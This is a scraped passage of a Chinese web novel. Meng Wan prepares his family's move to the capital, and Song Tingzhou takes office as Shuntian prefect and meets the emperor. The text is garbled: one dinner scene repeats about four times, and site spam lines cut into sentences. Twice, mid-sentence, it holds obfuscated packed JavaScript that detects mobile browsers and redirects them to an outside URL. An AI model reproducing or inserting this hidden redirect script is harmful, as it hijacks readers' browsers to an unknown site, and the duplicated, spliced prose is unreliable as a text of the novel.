孟晚抬手拿笔,在单册上勾画了几下,“家里的书一本不落都要带着,金子银两都兑成银票,珠宝首饰藏到马车车厢夹层里,路上吃的用的米面油粮和灶具一车放车头,一车放车尾。这些事都办好了之后就去租车,租咱们西梧府当地的,不要外乡人。 他回来之后黄叶的心就安定许多,将孟晚所说一一记在纸张上,转身离开的时候还不忘将孟晚洗漱后的脏衣服和布巾收走。 孟晚望着他较小的背影感叹,黄叶是忠心能干,但也不能紧着他一个人用,回盛京后免不得还要再买些人手。 晚上吃饭,饭桌上少了个小小的身影,聂知遥问:“阿砚哪儿去了,往日不是他吃饭最积极吗? 常金花最了解孙子,“准是和晚哥儿置气了,我去找找他。 “娘~孟晚叫住他,“你就吃你的饭嘛,一会儿他饿了自然过来,你看绯哥儿多乖。 常金花既怕孙子饿到,看看乖巧听话的绯哥儿又喜欢,虽然嘴上嘀咕道:“阿砚虽然没有绯哥儿听话,但是也算乖巧。到底是坐下来没去找阿砚。 阿砚一开始躲到花园里,抱着雪狼喂蚊子,后来实在又热又咬,便跑到了常金花屋子里。 他盯着桌子上摆着的一盘子糕点干果,恶狠狠的发誓,“我要把自己饿晕,让阿爹后悔! 阿砚说完脑海中浮现孟晚抱着他大哭,满脸后悔的说:“阿砚,爹的好儿子,你可千万别出事啊,爹这就抱你去酒楼吃好吃的! “嘿嘿……嘿嘿嘿。阿砚一边傻笑,一边揪雪狼尾巴上雪白的****。 雪狼吐着长舌头,看着白绒绒的毛发飘落到 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 鼻子上没忍住打了个喷嚏喷嚏声唤醒了做白日梦的阿砚他委屈巴巴的喃喃自语“阿爹怎么还不来找我啊?祖母也不知道我不见了吗?” 大家吃完饭各自回去孟晚也跟着常金花“娘你的铺子交代的怎么样了?等我从赫山回来咱们可就走了。” 常金花说话也有些没底“我看来喜这孩子实实在在 孟晚认同的点点头“当然可以啊!对了娘黄叶跟咱们一块走那槿姑也不能留在店里了厨娘是当地的不会进京不如雇她做咱家厨娘吧?” 常金花自然同意她正愁入了京不知道还能不能开铺子天天在家闲着她还不如回老家种地。槿姑好歹跟她相熟在家起码能有人陪她待会儿唠唠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿爹知道你为什么委屈,但是国都和西梧府不一样,我们会遇到很多比你爹和我更厉害的人。你进学了,也知道国都的皇宫里住的是皇室,他们想杀死我们就像捏死一只蚂蚁那样简单。所以到了盛京,便再也不能像在西梧府一样任性了,知道吗?”阿砚小时候,孟晚希望他开心自在,但回京在即,且阿砚也已经快七岁了,也是时候叫他懂些道理了。 阿砚将眼睛睁开一条小缝,闷闷的说:“我们不能不去吗?就一直在西梧府住。” 黄叶将水盆拿走,吹熄蜡烛关门出去。孟晚扭过身子面向阿砚,“你说呢?你爹已经去赴任了。” 阿砚声音闷闷的,“那我明天要去找杜允康,以后我都不能和他一起玩了。” 孟晚摸摸他的头安慰道:“明早阿爹去赫山,回来咱们才走,你还可以和朋友慢慢道别。” 夜色正浓,孟晚闭上眼睛准备今晚在这里凑合一晚,反正宋亭舟不在家。 就快睡着的时候,冷不丁旁边传来“咕噜咕噜”的声音。 “阿爹,我肚子在响。” “嗯。” “我想吃饭。” “睡觉!” 第二天一早,家里的马车已经准备好,聂二夫郎和孟晚一起回赫山县,蚩羽照例跟着孟晚,楚辞留下收拾他的家当,他院里虽然一半阿寻已经帮他整理好了,可也有一部分连阿寻都不敢乱动的东西。 “小辞,看着点你弟弟,往后咱们全家都不能再纵容他了。”孟晚临走前叮嘱了一句。 阿砚边啃肉包子边憋屈的眨眨眼睛,他阿爹以前也没惯过他啊! 孟晚回赫山真的和回家差不多,路过的百姓上赶子和他打招呼,路边店铺的老板二话没说就递上来两碗冰冰凉凉的石花糕。 蚩羽扔了几个铜板给摊主,又叫摊主给扔了回来,并又附赠给他一碗石花膏吃。 “孟夫郎在赫山果然甚得人心。” 孟晚听到这道声音,立马放下手中的碗,下马车行礼,“太子殿下。” 第2章 梁上之宾 “夫郎小点声,别被人给发现了殿下在这儿。”秦啸云挺大的块头,偏偏说话时东张西望,他不做这副姿态大大方方的还好,越是这样越引人瞩目。 “叔父,莫要紧张。”太子颇为无奈。 虽然太子身边有葛全和秦啸云两位高手在,但孟晚也怕这位真出了什么意外,“殿下,你们是刚到赫山吗?不如先到草民家里落脚歇息吧。” 太子颔首,“本宫确实是想去西梧府找宋大人议事,怎么他没陪夫郎一起来赫山县?” 说到这个孟晚还想问太子呢! 但这会儿不是提问的好时机,聂二夫郎还在后面的马车,太子的事不宜让太多人知道,孟晚只能先让蚩羽送聂二夫郎回家。 而后自己带太子、葛全、秦啸云三人回家。 一回宋家在赫山的住宅,孟晚便迫不及待的说起了宋亭舟被调回盛京的事。 “顺天府尹?”太子眉梢微挑,像是也有几分意外,“好,本宫知晓了。” 知晓什么了知晓?你倒是说出来啊! 孟晚心里急的不行,面上则勤劳的让人给贵客布置房间,准备饭菜。 “令堂这次没来赫山吗”太子突然问道。 “我娘还在西梧府收拾家当,等着启程去盛京和草民夫君汇合。”孟晚纳闷,这和常金花有什么关系? 太子若无其事的说:“上次令堂做的饭菜很合口。” 孟晚:“……” 懂了,炸鸡安排。 太子从小受宫中礼仪,吃起饭来也一板一眼,几口菜、几碗饭、几勺的汤,先用哪个,后用哪个,仿佛是刻在骨子里的规矩。 不过他本人还算随性,让大家跟他一起用餐,其他人吃的多少有点拘谨。 饭后孟晚还是在太子身边旁敲侧击京城的事,他不明说,暗戳戳的提示,“殿下,葛大哥已经把我拿到的那封信件交给您了吧?” 太子侧头看了孟晚一眼,美人低眉垂眸,只露出半张脸也令人心动,他忽然起了些逗弄的心思,“信我已经拿到手了,孟夫郎这次功不可没,不若我赏你……” 谁要你那点赏钱了,我有的是! “殿下!我夫夫二人忠于皇权,做的也是对朝廷有利的事,算不上什么功劳,怎么好意思讨赏呢?” 你还没登基,我们就在你这里领赏,皇上不得先把我夫君给踢开? 秦啸云在院子里和过招,两人打的有来有回,太子的目光落在他们身上,终于给孟晚一点提示,“国公势大,廉王身后又有罗家,抓住把柄很简单,但要用好才有奇效。” 孟晚再聪明,朝堂诡谲也不如这些浸淫在权利中心的皇子臣老们,他只关心一点,“草民夫君可有性命之忧?” 见他不再伪装,露出焦急的神色,太子轻笑一声,“性命之忧没有,小麻烦可能会多些,孟夫郎进京就知道了。” —— 盛京城吏部衙门—— “宋大人,您的贴黄已勘核好了,考功司附写的行止都在后面,您看看。” 吏部的文选司郎中客客气气的将文册奉上,供宋亭舟查阅。旁边小吏也有眼色的端茶倒水,请人入座。 对比他初次授官被人威胁,如今地位天差地别。 宋亭舟端坐在椅子上,没动茶水,一字一句的将帖黄看完,交还给吏部官员。“多谢李大人。” 文选司郎中受宠若惊,“宋大人客气了,您的官凭我们派人送到府上即可,还劳烦大人亲自跑一趟,下官已经派人去取了,您在稍等片刻。” 赴任官凭何其重要,宋亭舟几乎是刚入京,回拾春巷后还来不及休息,洗漱后换了身衣裳就赶来了吏部。这会儿浑身疲倦,话也不想多说,靠在椅子上闭目养神。 文选司郎中见状也不再多言,退出门去亲自为宋亭舟取官凭。 有不知道宋亭舟身份的小吏跑过去追着问:“李大人,里面这位什么来头?本朝有姓宋的高官吗?”他来吏部也有四年了,怎么从未听过哪个四品以上的朝官有姓宋的。 “你才来几年?本官七年前还为宋大人选过官,他是当年的新科进士。”这位李大人正是当年被王瓒和林苁蓉联手施压过的文选司郎中,没想到这么多年过去,又是他为宋亭舟署理调任。 唉,人家七年往上升了多少阶了?真是羡慕都羡慕不来。 当时还以为宋亭舟被派到岭南,起码也要十年才能翻身,没想到人家七年过去居然就杀回京都了。 文选司郎中庆幸,还好当时没得罪人家,一直都是客气有礼,正这样想着,突然看见墙角处有个同僚在有意无意的往宋亭舟所在的厅内张望。 “ 呦,这不是考功司的崔大人吗?你怎么到我们文选司来了。” 考功司郎中本就魂不守舍,被他突如其来的一嗓子吓了一大跳,想怒又怕惊动厅内的宋亭舟,压着嗓子说:“吏部衙门就这么大,怎么?路过你们文选司都不准了?李大人未免太过霸道!” 他压着嗓子,文选司郎中可不会小声,他重重的干咳两声,故意把厅内休息的宋亭舟咳醒,“我不过是询问一声,怎地崔大人这么大的火气?莫不是也是听说陛下钦点的宋大人到了吏部,特意过来恭贺的?” 他们俩都是正五品,想再往上升到从四品,同僚也是对手,因此往日关系也称得上是如同水火。 李大人知道他得罪过宋亭舟,这才故意说风凉话。 考功司郎中心中暗恨文选司郎中可恶,但宋亭舟的目光已经扫了过来,也只能硬着头皮过去打招呼,“宋大人,许久不见,恭贺您高升。” 堂堂五品京官,这会儿却姿态低的不能再低,生怕宋亭舟忆起七年前他放狠话的样子。 偏偏宋亭舟还真就记得,他本来不是斤斤计较的人,却独独记住了吏部这个考功司郎中。因为孟晚八面玲珑,诋毁他的人太少了,也多是说他身为哥儿抛头露面的。 只有这位崔大人,当初一句句说自己夫郎无所出,话里话外让宋亭舟休了孟晚另娶,甚至以官途相威胁。 这件事,宋亭舟记了七年。 宋亭舟目光沉沉地看着对方,直到把考功司郎中看到头皮发麻,才淡淡地回了句,“崔大人。” 考功司郎中心里咯噔一声,脸上笑得比哭还难看。 完了,这位竟然真的还记得。 宋亭舟从吏部拿到官凭,又到离六部衙门不算太远的尚宝司领取官印及腰牌。 顺天府尹的名头就像是通行证,这一套下来极为迅速,再回家去等候多时的吴昭远还没离开。 他和祝泽宁这几日轮流告假去城外接人,今天正轮到他去,结果刚好接到了宋亭舟。 “办好了?”吴昭远起身迎过来。 宋亭舟在好友面前不再撑着,邀吴昭远近内室,脱了鞋子靠在软塌上,“该取的都取到了,比预想中顺利,并无半点波澜。” 雪生把手里的东西展给吴昭远看,随后妥善的收进里屋的箱子里。 “那当然,你如今是 什么身份,吏部若是真有人使绊子才是奇怪了。”吴昭远心情复杂,既是为宋亭舟如今的成就感到高兴,又为了其他的事情为好友担忧。 宋亭舟按着自己额头轻轻揉捏,显露出一丝疲态,他颇为直接的问道:“昭远,京中可是出了什么乱子?” 吴昭远叹了一声,“本来想让你先歇歇,再谈其他,可明日你就要入宫面圣了,至少心里有个底。” 宋亭舟睁开黑沉的眼眸,“你说。” 六年半外放为官,使他周身气势更加沉稳凝练,吴昭远突然觉得陛下点名让宋亭舟回来,也许确实是深思熟虑后的选择。 屋里除了他们俩,就只有一个雪生,吴昭远斟酌片刻说道:“上一任顺天府尹段大人,惨死在任上了。” “而且也不光是上一任,之前的顺天府尹边大人在任上十二年,同样枉死。他死后,段大人仅上任三月就无故去世。” 宋亭舟似是对这个消息不太惊讶的样子,也只是吩咐雪生取几根蜡烛,放在面前的矮桌上点燃。 吴昭远看着窗外还早的天色,只是昏黄,并没有彻底黑下来,“你才来京中半日就听到了风声?” 宋亭舟缓缓摇头,“我在你口中刚听说此事,但我这次被突然调回盛京,想来也是朝中多有变故。”他这一路上早就做好心理准备了。 吴昭远满脸复杂,“我不如你。” 不说是他,一般人经历这种事都会害怕无措,绝对做不到宋亭舟这么淡定。 雪生送完蜡烛又送热茶,还是他们从岭南带过来的,只剩一小包了,他为宋亭舟和吴昭远各斟了一杯茶水,然后退到门口守门。 宋亭舟用骨节分明的手掌托起茶盏,放在唇边饮了一口,“边、段两位大人到底是**的?” “不知道,这件事不管是刑部还是大理寺,都没传出半点消息。”吴昭远在京中人微言轻,知道的消息也是大家广泛流传的。 “明日我进宫面圣,应该会知晓一二内情。”宋亭舟内心平静,再差不过是办事不利,他是由圣上钦点回京,要是**就是打皇上的脸,短时间内应该性命无忧。 今晚吴昭远不回家了,就在拾春巷夜宿,小厮早早就回吴家去传递消息。 前院的月梅做了几个菜送过来,陶十一又去外面酒楼买了几个现成的肉菜,在厅内摆了一桌子。 阿寻的那一份月梅给单独端到了他屋子。 说实话,刚看到阿寻的时候,她心里以为这是宋亭舟的妾室。后来才发觉自己好像琢磨错了,这小哥儿像是宋家的贵客。 不管什么身份,总归是自己得罪不起的,月梅恭恭敬敬的对着,还嘱咐丈夫柳哥不要去后院。 吴昭远站在门口处眺望门外的院子,“泽宁说下了衙就来,怎么这会儿还没有到?” 他家过得不算富贵,身边也只跟着一个小厮,早早给打发回家报信了。 宋亭舟缓过了劲儿,“雪生,你让陶八去祝家看看。” 雪生得了吩咐刚往外踏出步子,祝家的小厮就被柳哥领进院子。 祝家的小厮认识宋亭舟,“宋大人,我家小姐今儿吃错了东西腹泻不止,大爷脱不开身,让我过来回禀您一声,今晚他就不过来了。” “琼娘又病了?他心急也是应当,改日孩子好了再聚即可。”吴昭远这些年和祝泽宁在盛京,两家住的也近,时常相聚。 宋亭舟问吴昭远,“琼娘体弱?” 吴昭远轻叹,“娘胎里带的,泽宁不让说出去,怕你跟着操心。” 祝泽宁和宋亭舟都有孩子,只有他子嗣艰难,成亲这么多年也无所出。 宋亭舟叫雪生去喊阿寻,并对祝家的小厮说:“我带了郎中来,让他随你去祝家看看你家小姐的病。” 祝家的小厮知道宋亭舟和自家大爷关系非比寻常,当即也不回去禀告,直接应了下来。 陶十一送阿寻去祝家,宋亭舟安安稳稳和吴昭远用膳。 月梅做饭的味道一般,酒楼的菜又有些腻了。吴昭远动了几筷子,用了半碗饭就放下了碗,他看宋亭舟动作飞快的吃饭,没一会儿饭碗就光了。 吴昭远失笑,“你还是和从前一样能吃,那时候我记得大嫂还给你送饭。” 宋亭舟给自己重新添了一碗米饭,目光中带着暖意,“可能是年岁渐长,如今饭量已经大不如前,晚儿的手艺好,不像我只会煮个米粥。” “有时候很羡慕你,和大嫂这么多年还是浓情蜜意。”吴昭远从前就很忧郁,如今这么多年过去,比少年时期豁达不少,却也成为不了祝泽宁那般开朗的人。 因为明早要面圣,两人没有饮酒,吃饭、喝茶、聊天,倒也轻松惬意。 夜里吴昭远住在偏房,宋亭舟整理了一番行李和明早要穿的官袍后,便上床休息,这么远的路程连轴转,便是习武之人身体也吃不消。 他身体疲惫不堪,思绪却转动不停,多年没有进宫,要在脑海中复习当日在保和殿学的宫规宫礼,万不能殿前失仪。 还有昭远今日说的,两任顺天府尹无故去世的事…… 浓墨般的夜色里没有人声,其余声音便格外清晰,枝繁叶茂的大树被风吹的沙沙作响,三两声栖息在花园里的小鸟梦语,还有不知来意的梁上之宾…… “谁!” 阿寻的那一份月梅给单独端到了他屋子。 说实话,刚看到阿寻的时候,她心里以为这是宋亭舟的妾室。后来才发觉自己好像琢磨错了,这小哥儿像是宋家的贵客。 不管什么身份,总归是自己得罪不起的,月梅恭恭敬敬的对着,还嘱咐丈夫柳哥不要去后院。 吴昭远站在门口处眺望门外的院子,“泽宁说下了衙就来,怎么这会儿还没有到?” 他家过得不算富贵,身边也只跟着一个小厮,早早给打发回家报信了。 宋亭舟缓过了劲儿,“雪生,你让陶八去祝家看看。” 雪生得了吩咐刚往外踏出步子,祝家的小厮就被柳哥领进院子。 祝家的小厮认识宋亭舟,“宋大人,我家小姐今儿吃错了东西腹泻不止,大爷脱不开身,让我过来回禀您一声,今晚他就不过来了。” “琼娘又病了?他心急也是应当,改日孩子好了再聚即可。”吴昭远这些年和祝泽宁在盛京,两家住的也近,时常相聚。 宋亭舟问吴昭远,“琼娘体弱?” 吴昭远轻叹,“娘胎里带的,泽宁不让说出去,怕你跟着操心。” 祝泽宁和宋亭舟都有孩子,只有他子嗣艰难,成亲这么多年也无所出。 宋亭舟叫雪生去喊阿寻,并对祝家的小厮说:“我带了郎中来,让他随你去祝家看看你家小姐的病。” 祝家的小厮知道宋亭舟和自家大爷关系非比寻常,当即也不回去禀告,直接应了下来。 陶十一送阿寻去祝家,宋亭舟安安稳稳和吴昭远用膳。 月梅做饭的味道一般,酒楼的菜又有些腻了。吴昭远动了几筷子,用了半碗饭就放下了碗,他看宋亭舟动作飞快的吃饭,没一会儿饭碗就光了。 吴昭远失笑,“你还是和从前一样能吃,那时候我记得大嫂还给你送饭。” 宋亭舟给自己重新添了一碗米饭,目光中带着暖意,“可能是年岁渐长,如今饭量已经大不如前,晚儿的手艺好,不像我只会煮个米粥。” “有时候很羡慕你,和大嫂这么多年还是浓情蜜意。”吴昭远从前就很忧郁,如今这么多年过去,比少年时期豁达不少,却也成为不了祝泽宁那般开朗的人。 因为明早要面圣,两人没有饮酒,吃饭、喝茶、聊天,倒也轻松惬意。 夜里吴昭远住在偏房,宋亭舟整理了一番行李和明早要穿的官袍后,便上床休息,这么远的路程连轴转,便是习武之人身体也吃不消。 他身体疲惫不堪,思绪却转动不停,多年没有进宫,要在脑海中复习当日在保和殿学的宫规宫礼,万不能殿前失仪。 还有昭远今日说的,两任顺天府尹无故去世的事…… 浓墨般的夜色里没有人声,其余声音便格外清晰,枝繁叶茂的大树被风吹的沙沙作响,三两声栖息在花园里的小鸟梦语,还有不知来意的梁上之宾…… “谁!” 阿寻的那一份月梅给单独端到了他屋子。 说实话,刚看到阿寻的时候,她心里以为这是宋亭舟的妾室。后来才发觉自己好像琢磨错了,这小哥儿像是宋家的贵客。 不管什么身份,总归是自己得罪不起的,月梅恭恭敬敬的对着,还嘱咐丈夫柳哥不要去后院。 吴昭远站在门口处眺望门外的院子,“泽宁说下了衙就来,怎么这会儿还没有到?” 他家过得不算富贵,身边也只跟着一个小厮,早早给打发回家报信了。 宋亭舟缓过了劲儿,“雪生,你让陶八去祝家看看。” 雪生得了吩咐刚往外踏出步子,祝家的小厮就被柳哥领进院子。 祝家的小厮认识宋亭舟,“宋大人,我家小姐今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307171|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿吃错了东西腹泻不止,大爷脱不开身,让我过来回禀您一声,今晚他就不过来了。” “琼娘又病了?他心急也是应当,改日孩子好了再聚即可。”吴昭远这些年和祝泽宁在盛京,两家住的也近,时常相聚。 宋亭舟问吴昭远,“琼娘体弱?” 吴昭远轻叹,“娘胎里带的,泽宁不让说出去,怕你跟着操心。” 祝泽宁和宋亭舟都有孩子,只有他子嗣艰难,成亲这么多年也无所出。 宋亭舟叫雪生去喊阿寻,并对祝家的小厮说:“我带了郎中来,让他随你去祝家看看你家小姐的病。” 祝家的小厮知道宋亭舟和自家大爷关系非比寻常,当即也不回去禀告,直接应了下来。 陶十一送阿寻去祝家,宋亭舟安安稳稳和吴昭远用膳。 月梅做饭的味道一般,酒楼的菜又有些腻了。吴昭远动了几筷子,用了半碗饭就放下了碗,他看宋亭舟动作飞快的吃饭,没一会儿饭碗就光了。 吴昭远失笑,“你还是和从前一样能吃,那时候我记得大嫂还给你送饭。” 宋亭舟给自己重新添了一碗米饭,目光中带着暖意,“可能是年岁渐长,如今饭量已经大不如前,晚儿的手艺好,不像我只会煮个米粥。” “有时候很羡慕你,和大嫂这么多年还是浓情蜜意。”吴昭远从前就很忧郁,如今这么多年过去,比少年时期豁达不少,却也成为不了祝泽宁那般开朗的人。 因为明早要面圣,两人没有饮酒,吃饭、喝茶、聊天,倒也轻松惬意。 夜里吴昭远住在偏房,宋亭舟整理了一番行李和明早要穿的官袍后,便上床休息,这么远的路程连轴转,便是习武之人身体也吃不消。 他身体疲惫不堪,思绪却转动不停,多年没有进宫,要在脑海中复习当日在保和殿学的宫规宫礼,万不能殿前失仪。 还有昭远今日说的,两任顺天府尹无故去世的事…… 浓墨般的夜色里没有人声,其余声音便格外清晰,枝繁叶茂的大树被风吹的沙沙作响,三两声栖息在花园里的小鸟梦语,还有不知来意的梁上之宾…… “谁!” 阿寻的那一份月梅给单独端到了他屋子。 说实话,刚看到阿寻的时候,她心里以为这是宋亭舟的妾室。后来才发觉自己好像琢磨错了,这小哥儿像是宋家的贵客。 不管什么身份,总归是自己得罪不起的,月梅恭恭敬敬的对着,还嘱咐丈夫柳哥不要去后院。 吴昭远站在门口处眺望门外的院子,“泽宁说下了衙就来,怎么这会儿还没有到?” 他家过得不算富贵,身边也只跟着一个小厮,早早给打发回家报信了。 宋亭舟缓过了劲儿,“雪生,你让陶八去祝家看看。” 雪生得了吩咐刚往外踏出步子,祝家的小厮就被柳哥领进院子。 祝家的小厮认识宋亭舟,“宋大人,我家小姐今儿吃错了东西腹泻不止,大爷脱不开身,让我过来回禀您一声,今晚他就不过来了。” “琼娘又病了?他心急也是应当,改日孩子好了再聚即可。”吴昭远这些年和祝泽宁在盛京,两家住的也近,时常相聚。 宋亭舟问吴昭远,“琼娘体弱?” 吴昭远轻叹,“娘胎里带的,泽宁不让说出去,怕你跟着操心。” 祝泽宁和宋亭舟都有孩子,只有他子嗣艰难,成亲这么多年也无所出。 宋亭舟叫雪生去喊阿寻,并对祝家的小厮说:“我带了郎中来,让他随你去祝家看看你家小姐的病。” 祝家的小厮知道宋亭舟和自家大爷关系非比寻常,当即也不回去禀告,直接应了下来。 陶十一送阿寻去祝家,宋亭舟安安稳稳和吴昭远用膳。 月梅做饭的味道一般,酒楼的菜又有些腻了。吴昭远动了几筷子,用了半碗饭就放下了碗,他看宋亭舟动作飞快的吃饭,没一会儿饭碗就光了。 吴昭远失笑,“你还是和从前一样能吃,那时候我记得大嫂还给你送饭。” 宋亭舟给自己重新添了一碗米饭,目光中带着暖意,“可能是年岁渐长,如今饭量已经大不如前,晚儿的手艺好,不像我只会煮个米粥。” “有时候很羡慕你,和大嫂这么多年还是浓情蜜意。”吴昭远从前就很忧郁,如今这么多年过去,比少年时期豁达不少,却也成为不了祝泽宁那般开朗的人。 因为明早要面圣,两人没有饮酒,吃饭、喝茶、聊天,倒也轻松惬意。 夜里吴昭远住在偏房,宋亭舟整理了一番行李和明早要穿的官袍后,便上床休息,这么远的路程连轴转,便是习武之人身体也吃不消。 他身体疲惫不堪,思绪却转动不停,多年没有进宫,要在脑海中复习当日在保和殿学的宫规宫礼,万不能殿前失仪。 还有昭远今日说的,两任顺天府尹无故去世的事…… 浓墨般的夜色里没有人声,其余声音便格外清晰,枝繁叶茂的大树被风吹的沙沙作响,三两声栖息在花园里的小鸟梦语,还有不知来意的梁上之宾…… “谁!” 阿寻的那一份月梅给单独端到了他屋子。 说实话,刚看到阿寻的时候,她心里以为这是宋亭舟的妾室。后来才发觉自己好像琢磨错了,这小哥儿像是宋家的贵客。 不管什么身份,总归是自己得罪不起的,月梅恭恭敬敬的对着,还嘱咐丈夫柳哥不要去后院。 吴昭远站在门口处眺望门外的院子,“泽宁说下了衙就来,怎么这会儿还没有到?” 他家过得不算富贵,身边也只跟着一个小厮,早早给打发回家报信了。 宋亭舟缓过了劲儿,“雪生,你让陶八去祝家看看。” 雪生得了吩咐刚往外踏出步子,祝家的小厮就被柳哥领进院子。 祝家的小厮认识宋亭舟,“宋大人,我家小姐今儿吃错了东西腹泻不止,大爷脱不开身,让我过来回禀您一声,今晚他就不过来了。” “琼娘又病了?他心急也是应当,改日孩子好了再聚即可。”吴昭远这些年和祝泽宁在盛京,两家住的也近,时常相聚。 宋亭舟问吴昭远,“琼娘体弱?” 吴昭远轻叹,“娘胎里带的,泽宁不让说出去,怕你跟着操心。” 祝泽宁和宋亭舟都有孩子,只有他子嗣艰难,成亲这么多年也无所出。 宋亭舟叫雪生去喊阿寻,并对祝家的小厮说:“我带了郎中来,让他随你去祝家看看你家小姐的病。” 祝家的小厮知道宋亭舟和自家大爷关系非比寻常,当即也不回去禀告,直接应了下来。 陶十一送阿寻去祝家,宋亭舟安安稳稳和吴昭远用膳。 月梅做饭的味道一般,酒楼的菜又有些腻了。吴昭远动了几筷子,用了半碗饭就放下了碗,他看宋亭舟动作飞快的吃饭,没一会儿饭碗就光了。 吴昭远失笑,“你还是和从前一样能吃,那时候我记得大嫂还给你送饭。” 宋亭舟给自己重新添了一碗米饭,目光中带着暖意,“可能是年岁渐长,如今饭量已经大不如前,晚儿的手艺好,不像我只会煮个米粥。” “有时候很羡慕你,和大嫂这么多年还是浓情蜜意。”吴昭远从前就很忧郁,如今这么多年过去,比少年时期豁达不少,却也成为不了祝泽宁那般开朗的人。 因为明早要面圣,两人没有饮酒,吃饭、喝茶、聊天,倒也轻松惬意。 夜里吴昭远住在偏房,宋亭舟整理了一番行李和明早要穿的官袍后,便上床休息,这么远的路程连轴转,便是习武之人身体也吃不消。 他身体疲惫不堪,思绪却转动不停,多年没有进宫,要在脑海中复习当日在保和殿学的宫规宫礼,万不能殿前失仪。 还有昭远今日说的,两任顺天府尹无故去世的事…… 浓墨般的夜色里没有人声,其余声音便格外清晰,枝繁叶茂的大树被风吹的沙沙作响,三两声栖息在花园里的小鸟梦语,还有不知来意的梁上之宾…… “谁!” 第3章 面圣 雪生就睡在外间的软塌上,他的一声暴喝引起客房陶家三兄弟一起冲出房内,飞速到宋亭舟卧房保护宋亭舟,因为事发突然,三人上半身还光着膀子。 其中雪生的动作最快,他已经发现了房顶上的黑影,跃上墙头跟了两步,想起夫郎的叮嘱,怕是调虎离山之计,只能眼睁睁的看着那道身影离开。 “大人,我没有追上那人。”雪生回来找宋亭舟的时候一脸惭愧。 宋亭舟披着外衫站在门口,树梢枝头是皎洁的圆月,他冷峻的眉眼在月色下显得更加淡漠,“无碍,往后这样的事情可能还会发生。” 雪生默然。 光着上半身的陶家三兄弟集体打了个哆嗦,冷意从身体一直蔓延到内心深处。 四更天,丑时二刻。宋亭舟从床上坐起来,睡在外间的雪生听见动静,拿着木盆走到厨房。 阿寻被留在祝家过夜,他们这群人都是汉子,雪生还比其他人细致些,要是跟来的是蚩羽,宋亭舟就得自己去打水了。 炊烟升起,守着宅子的月梅两口子正在厨房里烧水做饭,他们几乎一夜没睡,三更就起来在厨房忙活。 宋亭舟洗漱后虽然还是有些困倦,但头脑却异常清晰。他吃了两个馒头垫了肚子,粥和茶水一点不沾,而后换上官袍官帽,踏上崭新的皂靴。 他作为顺天府尹的官袍工部要三日后方能做好,便仍旧穿的知府绯袍,胸前的补子绣的是云雁,材质用的是丝绸。 因为宋亭舟还未正式上任,所以并无资格参加朝会,也不必从午门的东西掖门进宫,东华门入宫即可。 雪生和陶家三兄弟一起前去送行,马车停在东华门外的文官车马廊。 宋亭舟下马,整理一番身上的衣物,在宫门前由门官核验身份,并确认有吏部文书后,还要仔细查验身上有无利器,便是锐利些的发簪也不可以带进宫去,一切妥善后,再由内侍陪同入宫。 宋亭舟被引入文华殿外的廊庑等候,他微微垂头,身体站的笔直,双手自然交叠于身前,两脚分开与肩同宽,宽大的官袍虽然遮挡住了他健硕的身材,却也能看出他比寻常文官更高挑挺拔的体态。 这时天还没亮,来往的内侍弯下身子无声忙碌,隔着高大的宫墙宋亭舟能看到夜色的浓墨还未褪尽,天空像是蒙了一层灰色的纱,眼下似乎比自己刚出门时明亮了一些。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 也不知道晚儿什么时候会才到应该也快了…… 渐渐的天边洇开一抹极淡的鱼肚白云层也被染成橘粉色一点金红从宫墙升起转瞬就把漫天晓色烧得透亮。宋亭舟动了动身子一股酸痛感从腿部蔓延。 文华殿外走动的内侍比刚才更多但依旧是无声的偶有沟通也是微不可闻整座宫殿庄严又肃穆仿佛多发出一点动静都会被无限放大。 朝会似乎是结束了现在该是陛下用膳的时间。 又过了一会儿终于有内侍过来传唤这时的天色已经彻底明亮。 “宋大人陛下唤你入殿请随奴才这边走。”内侍腰弯的很低姿态恭敬话语清晰。 宋亭舟双手轻握成拳微微颔首“劳烦公公。” 内侍忙不迭的说道:“宋大人客气了。”宫侍不像宫女男不男女不女最是惹人不耻是皇城中最低贱的存在普通百姓也是唾弃嘲笑更遑论这些高高在上的文官。 内侍从低下的头颅中分出一小缕视线瞟向宋亭舟见他眼中果然同话中的语气一般没有半分轻视心中比听那些虚假的阿谀奉承更加熨帖。 文华殿内皇上坐在最上首的宝座上叫起按规矩行礼的宋亭舟态度上既持天子威仪又存仁君之慈。只是面色颇有些憔悴想来得知太子去世如今尸首尚无消息身为父君也定是伤心的。 “宋卿想必是接到调令就赶回了盛京路途遥远难为你了入座吧。” 文华殿内摆着官椅宋亭舟先谢了圣恩而后还起身坐在官椅上落座时不能坐满只可占椅子的三分之一腰背挺直不可靠椅背身体微微前倾呈现恭谨的姿态预备随时起身恭请圣命。 皇上再仁义和蔼也是一国之主举手投足间威不可犯他先是问了宋亭舟治理钦州的过程又询问了西梧风土人情以及壵族的壵锦等。 其实这些政务早就被吏部呈到圣前 零零散散谈论了一会儿后 宋亭舟从善如流的自官椅上起身回话“多谢陛下夸赞微臣身为臣子受陛下庇护本该替陛下分忧。” 越是这样沉稳持重的人说这样 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 熨帖的话,越是可信度高,让人觉着他们是在发自内心的陈情。 皇上语气愈发宽和,“想必宋卿也已经听说过前两任顺天府尹在任上亡故的事。 宋亭舟垂手直立,颔首低眉道,“微臣略有耳闻。 皇上嘴角牵起一个微不可察的笑,“民间多有无稽之谈,宋卿无需放在心上,你是禹国的栋梁之才,自然有朕的龙威庇护。 